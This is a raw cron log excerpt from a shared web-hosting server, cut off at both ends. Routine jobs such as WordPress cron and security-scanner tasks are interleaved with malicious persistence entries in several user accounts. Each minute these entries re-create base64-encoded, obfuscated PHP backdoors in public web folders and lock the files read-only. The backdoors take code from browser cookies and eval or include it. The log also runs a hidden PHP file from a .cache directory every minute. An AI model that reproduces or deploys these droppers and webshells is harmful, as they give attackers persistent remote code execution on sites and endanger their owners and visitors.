Fy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:13:01 medusa CROND[21286]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:13:01 medusa CROND[21287]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:13:01 medusa CROND[21294]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:13:01 medusa CROND[21295]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:13:01 medusa CROND[21296]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:13:01 medusa CROND[21303]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  2 16:13:01 medusa CROND[21305]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:14:01 medusa CROND[6882]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:14:02 medusa CROND[7054]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:14:02 medusa CROND[7057]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:14:02 medusa CROND[7058]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:14:02 medusa CROND[7059]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:14:02 medusa CROND[7060]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:14:02 medusa CROND[7055]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:14:02 medusa CROND[7065]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:14:02 medusa CROND[7075]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:14:02 medusa CROND[7071]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 16:14:02 medusa CROND[7082]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 16:14:02 medusa CROND[7084]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:14:02 medusa CROND[7079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:15:01 medusa CROND[24675]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:15:01 medusa CROND[24833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:15:01 medusa CROND[25009]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 16:15:01 medusa CROND[25010]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 16:15:01 medusa CROND[25011]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 16:15:01 medusa CROND[25013]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 16:15:01 medusa CROND[25018]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 16:15:01 medusa CROND[25025]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 16:15:01 medusa CROND[25028]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 16:15:01 medusa CROND[25029]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:15:01 medusa CROND[25030]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:15:01 medusa CROND[25033]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 16:15:01 medusa CROND[25032]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 16:15:01 medusa CROND[25036]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 16:15:01 medusa CROND[25037]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 16:15:01 medusa CROND[25047]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 